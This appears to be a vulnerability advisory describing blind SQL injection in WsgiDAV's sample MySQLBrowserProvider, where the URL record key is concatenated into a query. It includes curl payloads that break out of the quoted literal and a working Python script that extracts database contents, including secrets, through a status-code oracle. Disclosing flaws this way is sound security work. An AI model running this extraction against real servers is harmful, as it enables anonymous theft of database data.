WsgiDAV MySQL provider has a blind SQL injection

Summary

The sample MySQLBrowserProvider builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.

Note: The MySQLBrowserProvider module is only provided as an example for WsgiDAV and not enabled by default. Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability.

Details

A path like /db/users/1 is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is SELECT id FROM testdb.users WHERE id = '<key>', so a single quote in the key breaks out of the literal and the rest runs as SQL.

The provider's numeric-type check has a typo (INTT instead of INT), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.

The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.

PoC

Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share /db mapped to MySQLBrowserProvider, anonymous access.

Oracle, true then false:

curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271"
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272"

Returns 500 then 404. The only difference is the injected condition ('1'='1' vs '1'='2'), proving the input is executed as SQL.

Data extraction over the same oracle (dump.py):

import urllib.parse, urllib.request, urllib.error
BASE = "http://127.0.0.1:8080/db/users/"

def truthy(cond):
    url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2")
    try:
        urllib.request.urlopen(url); return True
    except urllib.error.HTTPError as e:
        return e.code != 404

def extract(expr, maxlen=128):
    out = ""
    for i in range(1, maxlen + 1):
        if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1
            else: hi = mid
        out += chr(lo)
    return out

print(extract("SELECT GROUP_CONCAT(name,0x3a,secret) FROM users"))